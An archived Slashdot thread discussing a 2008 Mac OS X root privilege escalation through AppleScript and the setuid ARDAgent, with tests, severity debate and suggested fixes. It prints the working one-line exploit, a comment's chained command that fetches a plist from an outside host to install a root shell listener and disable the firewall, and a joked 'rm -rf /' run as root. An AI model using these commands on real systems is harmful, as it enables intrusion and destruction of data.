Stories
Slash Boxes
Comments
typodupeerror delete not in

Comments: 359 +-   Mac OS X Root Escalation Through AppleScript on Wednesday June 18 2008, @03:39PM

Posted by timothy on Wednesday June 18 2008, @03:39PM
from the oh-snap-crispy-apples dept.
security
bug
business
macosx
os
apple
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
story

Related Stories

This discussion has been archived. No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
 Full
 Abbreviated
 Hidden
More
Loading... please wait.
  • by dch24 (904899) on Wednesday June 18 2008, @03:44PM (#23844951) Journal
    ARD = Apple Remote Desktop You can remove it by following these instructions [macosxhints.com].
  • Physical access? (Score:3, Insightful)

    by Menkhaf (627996) on Wednesday June 18 2008, @03:45PM (#23844973)
    Could somebody explain how running a script requires physical access?
    • Re:Physical access? (Score:5, Informative)

      by pudge (3605) * <pudgeNO@SPAMslashdot.org> on Wednesday June 18 2008, @03:59PM (#23845239) Homepage Journal
      The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.
        • Re:Physical access? (Score:5, Informative)

          by pudge (3605) * <pudgeNO@SPAMslashdot.org> on Wednesday June 18 2008, @04:11PM (#23845457) Homepage Journal

          A terminal isn't enough?
          Correct.
          • Re:Physical access? (Score:4, Interesting)

            by Tokerat (150341) on Thursday June 19 2008, @01:23AM (#23851269) Journal
            I'm going to burn some mod points and ask why this isn't possible if you SSH into an OS X box. It's fair to link to an explanation if I've missed something, and no, this is not typical sarcastic geek doubt, I'd genuinely like to know.
                • My mistake (Score:5, Informative)

                  by Macka (9388) on Thursday June 19 2008, @03:45AM (#23852031)
                  Ah, now I understand what you meant. I just SSH'd into a headless Mac Mini I have and tried it. It kicks out the message:

                  pebbles: ~ $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
                  _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
                  Then after a timeout delay it returns with an error:

                  23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)

                  So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.

                  So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!

        • Re:Physical access? (Score:5, Informative)

          by tverbeek (457094) on Wednesday June 18 2008, @06:45PM (#23847579) Homepage
          A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.
          • Re:Physical access? (Score:5, Informative)

            by Firehed (942385) on Wednesday June 18 2008, @08:15PM (#23848625) Homepage
            True. But presumably you could write the script in any of the command-line editors and save it to the desktop or something, at which point the user could click on it.

            Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.
            • Re:Physical access? (Score:5, Informative)

              by Jasin Natael (14968) on Wednesday June 18 2008, @10:31PM (#23850007)
              The user wouldn't need to do anything. If you log in via SSH as a limited user, you could (theoretically) use OS X's "open" command to launch the file as if it was clicked, from anywhere in the filesystem. The catch is that your SSH login must be the current user of the Window Server (locally logged-in).
      • by TrekkieGod (627867) on Thursday June 19 2008, @01:00PM (#23861167) Homepage Journal

        My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?...Workstations at work have lots of people who can log into them...Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.

        The reason that requiring physical access is seen as no big deal is because all that stuff you're worried about is something I can do without the need of any exploits.

        Got a machine with literally any operating system? All I need is to reboot the computer with a linux live cd (or usb thumb drive) and I get read / write access to everywhere. From there I can plant trojans, read your files, do whatever.

        Got a Linux machine? I can reboot and use grub to boot into single-user mode. There you go, I'm root. I can do all the of the above again.

        The only way to have any security at the physical level is with encryption. And when we see encryption exploits, we do get hyped up about it. Even with encryption, more security measures still need to be taken at the physical level. A physical keylogger between the keyboard and computer could be installed to discover typed passwords, etc.

        That said, an exploit is an exploit, and it should be treated as such. Physical-access only just means there's less to worry about.

  • by jeffmeden (135043) on Wednesday June 18 2008, @03:48PM (#23845037) Homepage Journal

    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
    Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities (also known as 'standard procedure' in the Windows community). What makes this exploit so useless, given that all the perpetrator has to do is send it out to enough people hoping just a few will run it?

    It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
    • First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.

      It's also easy to fix.

      And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.

      THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.

      Security is like sex. Once you're penetrated you're ****ed.

      The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.
    • by Goaway (82658) on Wednesday June 18 2008, @04:22PM (#23845647) Homepage

      Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities
      No, it does not. Most malware doesn't need root to do most of the things it wants to do. Having root opens up some more possibilities, but it is by now means required.
  • by pandrijeczko (588093) on Wednesday June 18 2008, @03:53PM (#23845113)
    Yes, I fully accept that an exploit requiring physical access to a machine is a much lower security risk than one that can be carried out from a remote location.

    But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.

    And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.

    So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.

  • by AgentOJ (320270) on Wednesday June 18 2008, @04:44PM (#23845947)
    This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.
  • Intellectual Honesty (Score:5, Interesting)

    by JeffSpudrinski (1310127) on Wednesday June 18 2008, @05:41PM (#23846729)
    Firstly, I want to say I'm impressed.

    I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.

    I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
    I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).

    There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.

    This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).

    Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.

    There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).

    I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.

    Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.

    p.s. I love the "security is like sex" comment above. Well put.
  • by TheNetAvenger (624455) on Wednesday June 18 2008, @07:39PM (#23848203)
    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

    What about non personal deployments?

    Like corporate installations?
    Kiosk installations?
    Any small business that wants to secure a machine?
    How about a class room that you want kiddies to run games but not wipe the OS?

    Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.

    In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.

    (SlashDot Editors? WTF?)
  • by AEton (654737) on Wednesday June 18 2008, @09:22PM (#23849363)
    Item TS1448 [apple.com] in the Apple support knowledge base addresses this issue and is dated June 6, 2008. The issue was reported by users as early as October [macrumors.com].

    Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...

    Apple's reported fix, and I am not making this up:

    The resolution:
    You can safely ignore these messages. They are accurate but not a cause for concern.

    The entire text below, in case Apple deletes it:
      Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files

            * Last Modified: June 06, 2008
            * Article: TS1448

            * Old Article: 306925

    Symptoms

    The following messages may appear in the Disk Utility log window when repairing disk permissions.

    Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.

    Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.

    Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.

    Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.

    "Any message that starts with: 'ACL found but not expected on...'."
    Products Affected

    Mac OS X 10.5
    Resolution

    You can safely ignore these messages. They are accurate but not a cause for concern.

  • by patio11 (857072) on Wednesday June 18 2008, @11:50PM (#23850665)
    Mac: Oh %$#& %$#& %$#& %$#&.

    PC: I can relate.

    Mac: No!! %$#& %$#& %$#&

    PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.

    Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.

    PC: You know, they can do wonderful things these days with firewall software.

    Mac: I want to cut myself.

    PC: Not a good idea as a root user, Mac.

    Mac: *glowers*

    PC: I only kid because I love you.
  • Fix using Info.plist (Score:5, Informative)

    by jediknil (1090345) on Thursday June 19 2008, @01:07AM (#23851171) Homepage

    This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)

    <key>NSAppleScriptEnabled</key>
    <string>YES</string>

    That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.

    P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.

      • by mzs (595629) on Thursday June 19 2008, @11:53AM (#23859773)
        Hmm, this works for me and is persistent across runs. Do this as an admin user:

        $ sudo defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES
        $ sudo plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist
        $ sudo chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist

        The NSAppleScriptEnabled seems to force the use of the standard applescript dictionary which lacks the "do shell script" action. This is what you get when you try again:

        $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
        23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
        $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
        23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
    • Re:ARDagent (Score:5, Informative)

      I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.

      Even as a normal user on my mac, the exploit code works.
    • MOD PARENT DOWN (Score:5, Informative)

      by Moridineas (213502) on Wednesday June 18 2008, @03:56PM (#23845189) Journal
      Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.
    • Re:ARDagent (Score:4, Interesting)

      by generica1 (193760) on Wednesday June 18 2008, @04:41PM (#23845901) Homepage
      My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:

      23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

      No matter whether I tried ssh from remote, or local console bash.

      Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).

      So....YMMV....
    • Re:ARDagent (Score:5, Interesting)

      by Sentry21 (8183) on Wednesday June 18 2008, @05:50PM (#23846855) Journal
      Disconfirmed - I don't have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.

      dan@Geelong:~$ ls -lh /etc/somefile
      ls: /etc/somefile: No such file or directory
      dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
      dan@Geelong:~$ ls -lh /etc/somefile
      -rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
      dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
      dan@Geelong:~$ ls -lh /etc/somefile
      ls: /etc/somefile: No such file or directory
      So, how dangerous is this? Here's an example:

      osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

      This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.

      To remove, run 'launchctl unload com.apple.bash' 'launchctl unload /System/Library/LaunchDaemons/bash.plist' and then 'rm /System/Library/LaunchDaemons/bash.plist'

      It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.

      So yeah; anything can be downloaded, and anything can be done with it. Scary.
      • Re:ARDagent (Score:4, Informative)

        by Kadin2048 (468275) <slashdot@kadin.xoxy@net> on Wednesday June 18 2008, @07:23PM (#23847999) Homepage Journal
        I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.

        I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.

        That was my understanding, at least.

        The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.

        It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.
    • by pudge (3605) * <pudgeNO@SPAMslashdot.org> on Wednesday June 18 2008, @03:54PM (#23845141) Homepage Journal

      Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.


      Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

      Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

      [pudge@bourque ~]$ ls -l /etc/test1
      ls: /etc/test1: No such file or directory
      [pudge@bourque ~]$ touch /etc/test1
      touch: /etc/test1: Permission denied
      [pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
      [pudge@bourque ~]$ ls -l /etc/test1
      -rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1
      versus:

      [pudge@bourque ~]$ ssh maintenance@localhost
      bourque:~ maintenance$ ls -l /etc/test2
      ls: /etc/test2: No such file or directory
      bourque:~ maintenance$ touch /etc/test2
      touch: /etc/test2: Permission denied
      bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
      _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
    • by Anonymous Coward on Wednesday June 18 2008, @04:00PM (#23845263)
      who needs a source, it works. tried on my mac, output is: root

      so i tried replacing "whoami" with "rm -rf /" and

      !@#ca$a%H&(
      +++NO CARRIER
    • by Anonymous Coward on Wednesday June 18 2008, @04:01PM (#23845279)
      You don't need any sort of remote login, all you need is a client (web browser, Quicktime, Flash, etc.) buffer overflow that you can use to start a shell...
      • Re:Physical access? (Score:5, Interesting)

        by MyDixieWrecked (548719) on Wednesday June 18 2008, @04:12PM (#23845465) Homepage Journal
        Actually... interesting.

        I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.

        I ssh'd into my box at home and running this was successful.

        fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.

        So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).

        This is interesting.
    • by rritterson (588983) on Wednesday June 18 2008, @04:12PM (#23845469)
      Actually, the above only occurs as I had 'su'ed to another user, then ran the above command. If, instead of using su I simply try to touch a file in the second account, it works just fine. So I retract the above.
    • That's it:

      % ls -l /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
      -rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent

      Time to run find(1) to see if there are any other things like this.

      And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.

      • One more, maybe. (Score:4, Informative)

        by bill_mcgonigle (4333) * on Wednesday June 18 2008, @05:34PM (#23846639) Homepage Journal
        Time to run find(1) to see if there are any other things like this.

        Assumptions:
        AppleScripting is only applicable to .app's
        "do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.

        Results:

        %sudo find /System/ -type f -ls | grep ' -rws' | grep MacOS | grep '\.app'
        365120 2864 -rwsr-xr-x 1 root wheel 1463076 Oct 17 2007 /System//Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
        376733 120 -rws--x--x 1 root daemon 61076 Jul 11 2007 /System//Library/Filesystems/AppleShare/check_afp.app/Contents/MacOS/check_afp
        Now, I have one of the machines where this exploit isn't working:

        %osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
        23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
        So, somebody out there who can get it to work, see if:

        %osascript -e 'tell app "check_afp" to do shell script "whoami"'
        works or not. That might need full pathing, I'm not sure.
An ounce of mother is worth a ton of priest. -- Spanish proverb